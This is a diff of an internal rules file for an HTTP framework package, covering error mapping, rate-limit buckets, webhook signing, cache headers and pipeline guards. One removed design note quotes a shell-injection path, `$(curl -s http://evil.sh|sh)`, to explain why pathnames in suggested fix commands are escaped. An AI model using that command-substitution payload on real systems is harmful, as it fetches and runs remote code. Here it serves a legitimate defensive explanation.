-  `ERROR_DOCS_URL`, one wiki page for every code, and it is never spelled here: a construction site
-  omits `docs:` and `UltimateError` resolves it. `type` did NOT follow it there. It is RFC 9457's
-  primary identifier for the problem KIND — a client switches on it — so collapsing it onto one
-  page would have given a 422 and a 403 the same identifier. `problemTypeFor(code)` answers
-  `urn:ultimate:error:<CODE>`: per code, stable, and a URN has no host to rot. `finalize.ts`'s
-  `lastResort` spells its one `type` as a literal because that function calls nothing, and
-  `pipeline-finalize.test.ts` pins the literal against `problemTypeFor('X_INTERNAL')` so the two
-  cannot drift. Never assert either value as a copied string — import the constant.
-- **`error-map.ts` answers the status; `error-facts.ts` renders the throwable** (`As of
-  2026-08-24`). One file did both and reached 501 lines, over the ceiling. The seam between
-  them is `declaredStatusFor(code)` — `number | undefined`, exported to this package only —
-  because the two questions are genuinely different: `statusFor` always answers a number, while
-  "did ANYBODY classify this code" is what decides whether a 5xx may carry the throwable's own
-  words back to the caller (`isUnclassifiedFailure`). Imports go one way, `error-facts.ts` →
-  `error-map.ts`; a status read from the facts file would be the second table this package
-  spent a release deleting.
-- Statuses live in `error-map.ts` only. No other file writes a status number. The framework's
-  table (`ERROR_STATUS`) is closed; an app declares its own codes' statuses with
-  `registerErrorStatus()`, which refuses a code the framework already holds. Without that half,
-  every app code was 500 and `pipeline.ts` paged the on-call for a wrong password. There is
-  deliberately **no projection of the app's half**: `appErrorStatus()` was exported for "`x errors
-  list` and the manifest" and neither ever called it (deleted 2026-08). It could not have worked —
-  `APP_ERROR_STATUS` is process-global runtime state filled by the app's own imports, while both
-  named surfaces are build artefacts derived from source, so in a CLI process it answers `{}`.
-  Wiring one means deriving it from source, not re-exporting the map.
-- **A handler's own `Response.status` is never rewritten.** `error-map.ts` answers the status of a
-  THROW; a status a handler chose — `html(page, { status: 404 })`, which is what a page route's
-  `withStatus(404, data)` in `@ultimat3/render` becomes — passes through every stage as written,
-  body included, in dev and in production. `pipeline-handler-status.test.ts` pins it, because the
-  render seam is only true while this is: ai-maxxing's `/fleet/nope` answered 200 for as long as
-  the only way to a 404 was the error page, outside the app's shell.
-- **The context carries the inbound headers, never the `Request`.** `ctx.requestHeaders` is set
-  once at construction; `useRequestHeader` / `useRequestCookie` are what app code reads, and
-  `UltimateRequest.cookie()` is what `hooks.authenticate` reads. A `Request` on the context is a
-  second body reader past the size cap, the content-type parse and the cache.
-- **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.** A single value,
-  not a list — two answers to "who is this?" is two identities per request. `@ultimat3/auth` is
-  the same tier and can never import this package, so the app is what wires them together.
-- **`hooks.devNotices` is dev-only, and the overlay path is the only place it is called.**
-  `OverlayNotice` is declared structurally in `overlay.ts` because the packages that produce one
-  — `@ultimat3/entity`'s N+1 codes, reported by `x dev` — are this tier or above and can never be
-  imported here, exactly as `AuthzDecision` is. The call sits INSIDE the
-  `config.dev && wantsOverlay` branch: the overlay is a notice's only surface, so a production
-  process, or an agent that asked for problem+json, must not pay a diagnostic's per-request cost
-  for findings nothing renders. No notices means no card, byte for byte.
-- **`matchRoute` never throws — a pathname is whatever the client typed.** `decodeURIComponent`
-  is called only through `router.ts`'s guarded `decodeSegment`, and a segment that will not decode
-  answers `{ reason: 'path-invalid', segment }` → `X_PATH_INVALID` → 400. A bare `URIError` here
-  reached `factsOf` as `X_INTERNAL`, so a `%ZZ` answered 500 and paged the on-call for a typo.
-  Only the branch that would have decoded fails: static segments are compared raw, so a path that
-  reaches no param or wildcard is still a 404 and precedence is unchanged.
-- **`handle()` resolves to a Response or the server has no answer at all.** The request phases are
-  guarded by `execute`'s own `try`; the two that run after them are guarded in `finalize.ts`, and
-  neither guard is optional. A finalize stage that refuses the response it was handed degrades to
-  `X_PIPELINE_FINALIZE_FAILED` (500), and the chain runs a **second** pass over that problem
-  document — whose headers are writable — so the request id, CORS and the security headers still
-  reach the client. Two passes, never a loop. A throw inside the recover stage (an app's `onError`,
-  a `devNotices` producer) is answered with the problem document for the error the request actually
-  hit: the stage that renders a throw has nothing left to render its own. Every degraded answer goes
-  *through* the recover stage, never around it — reporting, logging and the overlay each keep one
-  call site.
-- **Both guards in that tail are TOTAL against a throwable that fights being read** (`As of
-  2026-08`). `recoverWith`'s catch built its log line with `String(failure)`, which is itself a
-  `TypeError` on a null-prototype object — thrown out of the one guard documented "never throws, by
-  construction", from the frame with nothing above it. It is a log FIELD now, the same rule the
-  `error-map` stage already follows, and `logger.emit` degrades a hostile field per key. The second
-  half is `factsOf`: it read `record['code']` directly, and that read is a getter call or a
-  `Proxy`'s `get` trap on a value the framework did not build — so a handler throwing one took the
-  recover stage AND the `problem()` the guard degrades to, and `handle()` rejected. Every field
-  comes off the throwable through core's `stringField`. Never spell either read inline again:
-  `String(x)`, `${x}` and a bare property read on a caught value are all the same defect, and
-  `error-render.ts` names seven prior instances.
-- **A table keyed by a `code` is read with `Object.hasOwn`, never `[code] !== undefined`** (`As of
-  2026-08`). `code` is a string off a throwable this package did not build, so `ERROR_STATUS` and
-  `HTTP_ERROR_TITLES` — object literals, and therefore holders of every name on
-  `Object.prototype` — answered `'toString'`, `'constructor'`, `'valueOf'` and `'hasOwnProperty'`
-  with a FUNCTION. `statusFor` handed that to `new Response(body, { status })`, a `RangeError`
-  raised inside `recoverWith`'s fallback, and `handle()` rejected: the same defect class as the
-  reads above, arriving through a lookup instead of a property. `registerErrorStatus` had the third
-  copy, refusing an app code named `toString` with a cause reading `the framework already maps it
-  to function toString() { [native code] }`. `scripts/error-map.ts` reads this table correctly and
-  always has. `APP_ERROR_STATUS` is a `Map`, which is why it never had the bug — prefer one for
-  anything keyed by a value a caller chose.
-- **`recoverWith`'s fallback is INSIDE its `try`.** `return problem(ctx.error, …)` sat beside the
-  guard, so the file whose one promise is "never throws, by construction" rested on every reader
-  below that line being total. The degraded answer is a literal `problem+json` document naming
-  `X_INTERNAL`, built with no call that could fail in turn, and the renderer's own failure goes to
-  the log as `pipeline.problem_failed` — a last resort sharing a code path with what just broke is
-  not one.
-- **One request spends a LIST of rate-limit keys, and the tenant's is the second** (`As of
-  2026-08-24`). `rateLimitKey` picked ONE subject — actor > org > ip, exclusive — and `actorView`
-  answers `null` for anonymous, so `orgId` was consulted only for a caller with an org and no id:
-  **no authenticated request ever touched an org bucket**. A tenant with 8,000 seats whose
-  integration entered a retry loop therefore took 8,000 × the per-actor burst against one shared
-  pool, every bucket inside its own limit, and no number an operator could set would have refused
-  it — while `@ultimat3/jobs` has had `perTenant` since it shipped. `rateLimitSpends` answers the
-  caller's key **and** `tenant|org:<id>` when the app declared `rateLimit.tenantBucket`; the stage
-  spends them in order and stops at the first refusal, so a caller its own bucket already refused
-  costs its tenant nothing. The tenant key is deliberately NOT scoped to the route — a per-route
-  tenant bucket is the same number multiplied by the route table, which is not a cap. `null` is
-  the default because one tenant is a person and the next is five thousand seats (axiom 8), and a
-  name nothing declares is `X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN` at `defineHttpConfig`, never a
-  silent fall-through to `default`. The headers report the bucket **closest to refusing**: telling
-  a client `remaining: 99` off its own bucket while its tenant's holds 2 is a number that plans a
-  caller into a 429.
-- **The memory rate-limit store is bounded, and the eviction order is part of the guarantee.**
-  The key falls back to the connection address (`rateLimitSpends`), so a scan rotating through an
-  IPv6 /64 mints one entry per request — an unbounded map hands the flood the process. Every
-  entry carries `forgetAtMs`, the instant a refilled bucket becomes indistinguishable from a
-  missing one, and the sweep drops those for free. `DEFAULT_MAX_RATE_LIMIT_KEYS` is the backstop,
-  and it evicts the entries **closest to full** first: throwing away a spent bucket is a free
-  reset for whoever spent it, so the most-throttled key is the last one to go. Never swap that
-  comparator for insertion order or an LRU — recency is not the same as worthlessness here.
-- **The limiter takes a `Clock`; `Date.now()` is not read here** (`As of 2026-08-19`). `rate-limit.ts`
-  read it inline while BOTH production call sites (`server.ts`, `pipeline.ts`) built their limiter
-  with no override, so the bucket maths that decides whether a caller is throttled could not be
-  frozen by any test — while `@ultimat3/auth`'s credential limiter has taken an injected `Clock`
-  since it shipped. `createRateLimiter({ clock })` defaults to `systemClock`, the same shape as
-  `createRequestContext`'s `init.clock`. Deliberately NOT a `clock` on `PipelineDeps`:
-  `deps.limiter` is already the one seam for handing the pipeline a limiter you built, and a second
-  entry point for one number is axiom 1.
-- **Where the limiter's counters live is DECLARED by the app, never inferred, and refused at
-  boot — and there is no default.** `DEFAULT_RATE_LIMIT` carries no `scope`, so
-  `resolveRateLimitConfig` refuses `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig` when a limiter
-  that is ENABLED has not been told. `'process'` used to be the default, which made "nobody asked"
-  and "the app said one replica" the same value while `docker/helm/values.yaml` runs three — so
-  `assertRateLimitScope` below, which only fires on a `'shared'` declaration, could never see the
-  silent case. A disabled limiter owes no declaration: nothing is enforced, so nothing can be
-  wrong. The rest of the check is unchanged: `RateLimitStore.scope` says what a driver provides; `config.rateLimit.scope` says what
-  the deployment requires; `assertRateLimitScope` compares them once, inside `createPipeline` —
-  the one construction path `createServer`, the tests and any embedder all share. `'shared'` over
-  a per-process store is `X_RATE_LIMIT_NOT_SHARED` before the socket opens, because the failure it
-  replaces is silent: the limiter's counters are **per process**, and `docker/helm/values.yaml`
-  runs `roles.web.replicas: 3` before its HPA has said anything, so every configured bucket was
-  being enforced three times over with a green `x verify`. Nothing here reads the
-  environment to guess a replica count — an app that scales is the only thing that knows. The
-  supported way to install one is `createServer({ rateLimitStore })`, which builds the limiter
-  through `createRateLimiter` and hands it to the `PipelineDeps.limiter` seam that already
-  existed; never add a second limiter entry point beside it.
-- **The shared store is `postgresRateLimitStore({ executor })`, and it is what makes
-  `scope: 'shared'` satisfiable** (`As of 2026-08`). Before it, `assertRateLimitScope` refused
-  every store the framework shipped, so the declaration required by a chart with `replicas: 3` had no
-  answer. `PgExecutor` is declared STRUCTURALLY here, exactly as `@ultimat3/action`'s idempotency
-  store declares it: this package has no `@ultimat3/db` dependency, and taking one to type a single
-  method would put the database package in http's install graph. The refill expression is repeated
-  four times inside `on conflict do update` **on purpose** — only a direct `x_rate_limit.<column>`
-  reference reads the row as it is after the lock, so a CTE computing it once would compute from
-  the statement's own snapshot and lose a concurrent spend. `spent` is a stored column because the
-  token count alone cannot tell a take that landed at 0.5 from a refusal with 0.5 left, and the
-  invented answer would be "allowed". `purgeExpired(nowMs)` takes the CALLER's clock and never
-  `now()`: `last_ms` is written from the caller's, so measuring against the server's reads the
-  offset between the two as refill and deletes buckets a throttled caller is still sitting in.
-- **A bucket a route names is a bucket something must register.** `meta.rateLimit` selects by
-  name and `meta.rateLimitBucket` carries the numbers; `withRouteBuckets` (`rate-limit-buckets.ts`)
-  merges them into `config.rateLimit.buckets` at construction, in `createServer` and again in
-  `createPipeline` — idempotently, since the store-backed limiter is built from the merged config
-  and `bucketFor` must see the same table the pipeline does. It has to happen there: routes do not
-  exist when `defineHttpConfig` builds the table, so a name declared and never registered fell
-  through to `default` — an action declaring `limit: 5` ran on 120 burst while its OpenAPI
-  operation published 5. **Precedence is refusal, not a winner.** An identical restatement passes;
-  any disagreement, with the config or with another route, is `X_RATE_LIMIT_BUCKET_CONFLICT` before
-  the socket opens — the same shape as `assertRateLimitScope` and as `@ultimat3/auth`'s
-  `AuthLimiter` policy check, and for the same reason: the declaration that lost would go on being
-  read as enforced. Never make one side the default winner.
-- **Registering into the config is only half of it — the installed LIMITER must hold the bucket
-  too.** `createRateLimiter` closes over its config, so a limiter handed to `PipelineDeps.limiter`
-  resolves names against the table it was built with; one built before the routes existed misses
-  the route's name, falls through `bucketFor` to `default`, and was measured at 120 burst and 21
-  of 21 requests allowed for a route declaring 5. `RateLimiter.buckets` publishes that table —
-  declared, never inferred, exactly as `RateLimitStore.scope` is — and `assertRouteBuckets` runs
-  beside `assertRateLimitScope` in `createPipeline`. **Refused, never rebound**: a `RateLimiter`
-  is opaque, so rebinding means discarding the caller's limiter and the store it carries, and a
-  caller who built their own may have meant their own numbers. A limiter that declares no table
-  is refused too — what cannot be shown to hold is not assumed to hold.
-- **`verifyWebhookSignature` is a FUNCTION, never a pipeline stage** (`As of 2026-08-24`). The
-  secret is per SENDER, and only the route knows which sender it is serving; a stage would need one
-  secret for the whole app or a table this package has no business holding. It reads the body
-  through core's `readWithinLimit` — the same counting reader `UltimateRequest.#read` uses — so it
-  composes with the cap rather than defeating it, and it answers the raw text so the caller parses
-  the bytes that were signed rather than a re-serialisation of them.
-
-  The order inside it is load-bearing: the mac is checked BEFORE the freshness window, so
-  `X_WEBHOOK_SIGNATURE_STALE` means *authentic and old* and never *unreadable and old* — an
-  operator reading it goes to a clock or a replay, which is the only reason the second code exists.
-  The window is `Math.abs`, both directions: a sender whose clock runs ahead is the same replay
-  window pointed the other way, and accepting the future half doubles it. The timestamp is parsed
-  digits-only because `Number('nope')` is `NaN` and `NaN > toleranceMs` is FALSE — the one guard
-  whose failure mode is "the check does not run". `:` is refused in the id and the topic because
-  one mac over `v1:t:evt:01HZ:orders.paid:<body>` would otherwise authenticate two different
-  id/topic splits. The comparison is `timingSafeEqual` and may never become `===`; `bun run
-  secret-compare` is the mechanical half and `mac`/`signature` are names it reads.
-
-  **The FORMAT is `@ultimat3/core`'s and is not re-declared here** (`As of 2026-08-24`).
-  `packages/core/src/webhook-signature.ts` owns the canonical string, the mac and the parse;
-  this file owns the POLICY — what counts as fresh, how large a body may be, and which refusal a
-  receiver answers with. It shipped for one release as two implementations, here and in
-  `@ultimat3/jobs`, held together by a hex literal asserted in two test files: this package is
-  tier 2 and may not reach tier 3, that one's boundary forbids `http`, so the one copy lives at
-  the tier both can reach — the argument `timing-safe-equal.ts` makes for itself. The two literal
-  vectors stay until `scripts/webhook-round-trip.test.ts` replaces them. **Never re-declare the
-  canonical string here.**
-- Never throw a bare `Error` — use a factory from `errors.ts`.
-- No `any`. Validation goes through Standard Schema (`validate.ts`), not a vendor API.
-- Health endpoints answer outside the pipeline, on purpose.
-- **Lifecycle belongs to core.** `server.ts` uses `beginWork()`, `markReady()`,
-  `drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
-  in-flight counter — core waits on work it does not know about, so a private counter
-  hangs every deploy at the `inflight` phase.
-- **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
-  sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
-  `unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
-  `stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
-  that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
-  this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
-  that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
-  closure's business and never the drain's.
-- **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
-  `routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
-  caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
-  line the framework tells its reader to paste. The value still travels in the `cause`, which is
-  read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
-  live in every POSIX shell.
-  **A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
-  `x errors explain <code> --json`, and `code` is a string field off a throwable this package did
-  not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
-  `FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
-  so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
-  `server.ts`; the value still travels in `facts.code`.
-  **And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
-  gate above screens the code this package renders INTO a command; this one screens a whole command
-  a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
-  object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
-  framework code beside it makes the line read as the framework's own — `isUltimateError`, and
-  nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
-  error that crossed a wire and lost its brand falls to the generated line, which is honest. The
-  `cause` still travels: a cause is read, never run.
-- **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
-  `X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
-  only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
-  unguarded — declaring a borrowed one throws `X_ERROR_CODE_DUPLICATE` at import, which is the
-  point. `factsOf` therefore reads a borrowed code's title off the error itself, never the map.
-- **A `cache-control` age is delta-seconds or it is DROPPED, never emitted** (`As of 2026-08-26`).
-  `finiteDeltaSeconds` in `response.ts` — `Number.isSafeInteger && >= 0`, per field. `max-age=NaN`
-  is not a shorter age, it is an unparseable directive a conforming cache IGNORES, so the response
-  fell back to heuristic caching rather than to the declared age. TOTAL, never a throw: this is the
-  response path, and a bad cache hint must not become a 500. Every fallback is the SHORTER
-  direction — `max-age` to 0, `s-maxage` and `stale-while-revalidate` omitted — so nothing here can
-  lengthen an age the caller did not ask for. `http.cache_hint_not_delta_seconds` names the field.
-  **The boot-time half is `route-cache.ts`, `As of 2026-08-26`** — the layered form: refuse where
-  the value is WRITTEN, be total where it is USED. `createRouter` screens `Route.cache`'s three
-  delta-seconds fields per route and throws `X_CONFIG_INVALID` naming the route and the key, so
-  `cache: { maxAgeSeconds: Number(process.env.CACHE_AGE) }` fails at boot instead of registering
-  cleanly and surfacing as one warn line per request, forever. The two screens must accept exactly
-  the same set: this one decides what may be DECLARED, `finiteDeltaSeconds` what may be WRITTEN,
-  and a value one accepts and the other drops is a silent hole between them. **Zero stays legal at
-  both ends** — `max-age=0` is "revalidate every time" and `PRIVATE_CACHE`, `defaultCache`'s
-  anonymous hint and the CLI's authorized-object hint all declare it. `ctx.cache` is NOT screened
-  and must not be: it is app-set per request at runtime, which is the total side by definition.
-- Tests must not touch the network — the preload seals `fetch`. Socket tests live in
-  `e2e/` and run with `bun test packages/http/e2e`, sealed: `start()` calls core's
-  `markListening()`, so the seal treats our own port as self, not egress. Never unseal.
+- **An app declares its half of `HttpConfig` through `configureHttp()`**, and the boot lays its own
+  facts over it. `AppHttpConfig` is `Omit<HttpConfigInput, BootOwnedHttpKey>` — derived, so a
+  boot-owned key (`port`, `hostname`, `dev`, `buildId`, `signInPath`, `trustProxy`,
+  `trustedProxyHops`, `rateLimit.scope`) is a type error where an app writes it. `mergeHttpConfig`
+  merges `security.csp.extend` per directive. `type-pins.ts` refuses a key on `HttpConfig` missing
+  from `HttpConfigInput`.
+- **`config.drainTimeoutMs` defaults to `null`**: `createServer` calls `configureLifecycle({
+  deadlineMs })` only when declared. **`ServerOptions.drain`** (`app.config.ts`'s `drain`) passes
+  `readinessGraceMs` to core the same way.
+- **`cors.origins: ['*']` with `credentials: true` is `X_CORS_CONFIG_INVALID`.** A refused origin
+  still gets `vary: origin`.
+- **A `security.csp.extend` entry must emit only the directive it names**
+  (`X_CSP_DIRECTIVE_INVALID`); `buildCsp` builds through a `Map`.
+- **The security headers are built once per `(SecurityConfig, https)`** (`responseSecurityHeaders`, a
+  `WeakMap`); a config is never mutated after `defineHttpConfig`. HSTS only when `ctx.https` is affirmed.
+
+## Rules — the context
+
+- **`asCtx` is a WIDENING the compiler checks, never a cast** (`RequestContext extends Ctx`;
+  `_RequestContextIsACtx` in `type-pins.ts`). `ctx.buildId` is the process's build;
+  `ctx.clientBuildId` is the client's claim, read only by `assertBuild()`.
+- **`createRequestContext` COMPOSES `createContext()`** — no assertion in this file, and
+  `defineService` factories and the service spread are core's. Services go on FIRST so a service
+  named `actor` loses to the request's field (`context.test.ts`).
+- **A request's registered services are LAZY and bound to the authenticated actor**
+  (`request-services.ts`, `installServices: false` + `bindRequestServices`): built on first read,
+  rebuilt only if actor, locale or tz changed. `request-services.test.ts`.
+- **A member's saved locale and zone apply, re-resolved after `auth`**
+  (`resolvePreferences`; cookie beats a saved locale, a saved zone beats the cookie).
+  `member-preferences.test.ts`.
+- **The `locale` stage decides WHERE, the owners decide WHAT**: raw strings to `@ultimat3/i18n`'s
+  `resolveLocale` and `@ultimat3/time`'s `resolveTimeZone`, landing on core's `ctx.locale`/`ctx.tz`.
+  Defaults are `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never `HttpConfig`.
+- **`ctx.actor` is never null** — the `auth` stage turns the hook's `null` into `anonymousActor()`.
+- **The context carries the inbound headers, never the `Request`** (`ctx.requestHeaders`,
+  `useRequestHeader` / `useRequestCookie`).
+- **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.**
+- **`hooks.devNotices` is called only inside the `config.dev && wantsOverlay` branch.**
+
+## Rules — the pipeline
+
+- **The lifecycle is three files**: `pipeline.ts` owns the ORDER (`PIPELINE_STAGES`, phases, loop,
+  ALS, span, the one metrics call); `stages.ts` owns what each stage does and the vocabulary;
+  `finalize.ts` owns the tail. Imports go `pipeline.ts` → `stages.ts`; a stage reads
+  `StageRunnersInput`, never `PipelineDeps`. A new stage is an entry in both `PIPELINE_STAGES` and the
+  `Record<StageName, StageRun>` table, with a `why` and a test.
+- **The two inbound ids are read BEFORE the context and the span** (`correlation.ts`, core's
+  `parseTraceparent`). `x-request-id` is gated on `trustProxy`; `traceparent` deliberately is not.
+- **Every proxy-supplied header goes through `forwardedElement(header, hops)`** — the entry at
+  `entries.length - hops`, never `[0]`; a short chain trusts nothing. `trustProxy` defaults to false
+  and requires `trustedProxyHops`. `x-forwarded-proto` (HSTS) and Envoy XFCC (`peer-identity.ts`) ride
+  it; `ctx.peer` is `null` unless trusted and is never an actor.
+- **One deadline per request** (`deadline.ts`): `requestTimeoutMs` (30 s, `0` disables), shortenable
+  by `x-request-timeout-ms`, never lengthened. `ctx.signal` is the deadline OR the caller going away
+  (`AbortSignal.any` with `Request.signal`); `expired` is the timer's alone. `Deadline.deadlineAt` is
+  published as core's `ctx.deadlineAt`, which `traceHeaders()` sends onward. Always `deadline.clear()`
+  in the `finally`.
+- **`admit` is the second stage and refuses before ANY work**: past `maxInflight` (1000) is
+  `X_OVERLOADED` with `retry-after`, counted by core's `inflightCount()`. **A DRAINING process
+  serves** with `connection: close`; only `lifecycleState() === 'stopped'` answers `X_DRAINING`
+  (`pipeline-hardening.test.ts`).
+- **`csrf` sits after `auth` and before `body`**: an ambient-credential unsafe request needs
+  `sec-fetch-site: same-origin`, an `Origin` equal to this app (from `ctx.https`), or one EXACTLY in
+  `cors.origins` (`originListed`, never `allowedOrigin`); else `X_CSRF_BLOCKED` (403). No
+  `mode: 'token'`.
+- **`meta.enforcedBy` says who evaluates `meta.policy`**: `'pipeline'` (default) decides via
+  `hooks.authorize`; `'handler'` stands the `authz` stage down.
+- **A 403's `fix:` names the POLICY** (`route.meta.policy`), degrading to `x routes --json` for a
+  composite.
+- **The body cap is enforced while reading** (`UltimateRequest.#read`'s counting reader, cancelling
+  past `bodyLimitBytes`); multipart goes through the same capped bytes.
+- **A repeated field is a LIST in all three parsers** (`collectFields`).
+- **`matchRoute` never throws**: `router.ts`'s `decodeSegment` answers `path-invalid` →
+  `X_PATH_INVALID` (400).
+- **`handle()` resolves to a Response or nothing**: request phases are guarded by `execute`, the tail
+  by `finalize.ts` — a refusing finalize stage degrades to `X_PIPELINE_FINALIZE_FAILED` with a second
+  pass; everything degraded goes THROUGH the recover stage. **Both guards are TOTAL** (`String(x)`
+  and bare property reads on a caught value are forbidden; `factsOf` uses core's `stringField`), and
+  **`recoverWith`'s fallback is INSIDE its `try`** (a literal `X_INTERNAL` document, logged
+  `pipeline.problem_failed`).
+- **`toBucket` lives here** (action and query both need it). **`ERROR_STATUS`'s keys are LITERAL**
+  (`satisfies`, pinned by `@ts-expect-error` in `error-map.test.ts`); non-literal codes go through
+  `statusFor()` / `BY_CODE` with `Object.hasOwn`. A table keyed by a caller's code is read with
+  `Object.hasOwn`, or is a `Map` (`APP_ERROR_STATUS`).
+- **The `cache-headers` stage is the ONE owner of the final cache answer**: `offersSharedCache` turns a
+  shared answer for an identified request into `PRIVATE_CACHE` and gives an anonymous one
+  `SHARED_CACHE_VARY` (`accept-language, cookie`); `immutable` is left alone. `vary` is added, never
+  set (`addVary`).
+- **A `cache-control` age is delta-seconds or DROPPED** (`finiteDeltaSeconds`, total, always the
+  shorter direction; logs `http.cache_hint_not_delta_seconds`). Its boot half is `route-cache.ts`:
+  `createRouter` refuses a bad `Route.cache` with `X_CONFIG_INVALID`. Both accept the same set; zero
+  is legal. `ctx.cache` is not screened.
+- **A handler's own `Response.status` is never rewritten** (`pipeline-handler-status.test.ts`).
+- Health endpoints answer outside the pipeline. **Lifecycle belongs to core** (`beginWork()`,
+  `markReady()`, `drain()`, the payloads) — never a private state or in-flight counter.
+- **`stop()` hands its two hooks back ABOVE its early return** (`packages/http/e2e/server.e2e.test.ts`
+  reads `shutdownHookCount()`).
+
+## Rules — errors and the problem document
+
+- Statuses live in `error-map.ts` only; the framework table is closed and an app declares its codes
+  with `registerErrorStatus()` (refuses a framework code). No projection of the app's half.
+  **`error-facts.ts` renders the throwable**; the seam is `declaredStatusFor(code)`, imports one way.
+- **A problem's `type` is `problemTypeFor(code)` = `urn:ultimate:error:<CODE>`; its `docs` is core's
+  `ERROR_DOCS_URL`.** `finalize.ts`'s `lastResort` literal is pinned against `problemTypeFor('X_INTERNAL')`.
+- **A 5xx cause is withheld unless its code opts in** (`hasPublicCause`, `problem-meta.ts`;
+  `registerProblemMeta({ CODE: { publicCause: true } })`). `toProblem(error, { dev })` defaults `dev`
+  to false. An unclassified 5xx carries nothing off the throwable.
+- **The document carries the ISSUE LIST** as a top-level `issues` member: `issuesOf` is total,
+  all-or-nothing, absent (never `[]`) when none, dropped past `MAX_PROBLEM_ISSUES` (100), dropped under
+  the opacity condition; `received` forced to `''`, entries rebuilt member by member.
+- **`meta` reaches the document only by declaration** (`registerProblemMeta({ CODE: [keys] })`, app
+  codes only; not `issues`, not `__proto__`): `wireMeta` copies declared keys through
+  `Object.defineProperty`, bounded by `MAX_PROBLEM_META_BYTES`, dropped when opaque.
+- **A rejected value is a log FIELD, never the message** — the `error-map` line's message is the code alone.
+- **A rejected BODY names only what the framework chose**: `bodyInvalid`'s `issues` are a fixed
+  vocabulary; what the caller sent rides in `meta`; the parser's message goes through `renderThrowable`.
+- **A browser failing `auth: 'required'` is redirected; an agent gets the problem document**
+  (`auth-redirect.ts`, in `error-map` before the overlay). `config.signInPath` is `null` until named.
+  `nextAfterSignIn` is the ONE `?next=` reader: same-origin paths only, a control character is
+  off-site, re-parsed against an unreachable origin, never throws.
+- **A pathname in a `fix:` goes through `renderFixShellArg`** (`routeNotFound`). **A `code` is gated by
+  core's `FRAMEWORK_CODE`** before `x errors explain <code>`, else `x errors list --json`. **A supplied
+  `fix:` is taken only from a branded error** (`isUltimateError`).
+- **Borrowed codes are never titled or registered here** (`HTTP_BORROWED_ERROR_CODES`: `X_FORBIDDEN`,
+  `X_UNAUTHENTICATED`, …); `factsOf` reads a borrowed code's title off the error.
+- Never throw a bare `Error` — use a factory from `errors.ts`. No `any`. Validation goes through
+  Standard Schema (`validate.ts`).
+
+## Rules — rate limiting
+
+- **One request spends a LIST of keys**: the caller's and, when `rateLimit.tenantBucket` is declared,
+  `tenant|org:<id>` (not route-scoped); stop at the first refusal; an undeclared name is
+  `X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN`. Headers report the bucket closest to refusing.
+- **The memory store is bounded** (`forgetAtMs` sweep, `DEFAULT_MAX_RATE_LIMIT_KEYS`, evicting the
+  entries closest to FULL first — never LRU).
+- **The limiter takes a `Clock`** (`createRateLimiter({ clock })`); `deps.limiter` is the one seam.
+- **The scope is DECLARED, with no default**: an enabled limiter without `scope` is
+  `X_RATE_LIMIT_SCOPE_UNSET`; `assertRateLimitScope` (in `createPipeline`) refuses `'shared'` over a
+  per-process store (`X_RATE_LIMIT_NOT_SHARED`). Install through `createServer({ rateLimitStore })`.
+- **`postgresRateLimitStore({ executor })` is the shared store**, over a structural `PgExecutor`. The
+  refill expression is repeated inside `on conflict do update` on purpose; `spent` is a stored column;
+  `purgeExpired(nowMs)` takes the caller's clock.
+- **A bucket a route names must be registered**: `withRouteBuckets` merges `meta.rateLimitBucket`
+  into the table in `createServer` and `createPipeline`; any disagreement is
+  `X_RATE_LIMIT_BUCKET_CONFLICT`. **The installed limiter must hold it too** — `RateLimiter.buckets`
+  is declared and `assertRouteBuckets` refuses, never rebinds.
+
+## Rules — webhooks and tests
+
+- **`verifyWebhookSignature` is a FUNCTION, never a stage**: it reads through core's
+  `readWithinLimit` and returns the raw text. The mac is checked BEFORE freshness
+  (`X_WEBHOOK_SIGNATURE_STALE` means authentic and old); the window is `Math.abs`; the timestamp is
+  digits-only; `:` is refused in id and topic; the comparison is `timingSafeEqual`
+  (`bun run secret-compare`). **The FORMAT is core's** (`packages/core/src/webhook-signature.ts`) —
+  never re-declared here.
+- Tests must not touch the network — the preload seals `fetch`. Socket tests live in `e2e/` (`bun test
+  packages/http/e2e`), sealed; `start()` calls core's `markListening()`. Never unseal.
 
 ## Files
 
@@ -691,7 +197,8 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
 | `context.ts` | `RequestContext` (core's `Ctx` plus the request's own), composed from `createContext`, the single `Ctx` adapter (`asCtx`) and the inbound-header readers |
 | `redirect.ts` | the intent slot a handler that cannot return a `Response` fills |
 | `auth-redirect.ts` | where an unauthenticated browser goes, and where it comes back to |
-| `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor |
+| `cache-policy.ts` | the default `CacheHint` for a route that declared none — route AND actor — and the review of a declared one (`reviewedHint`) |
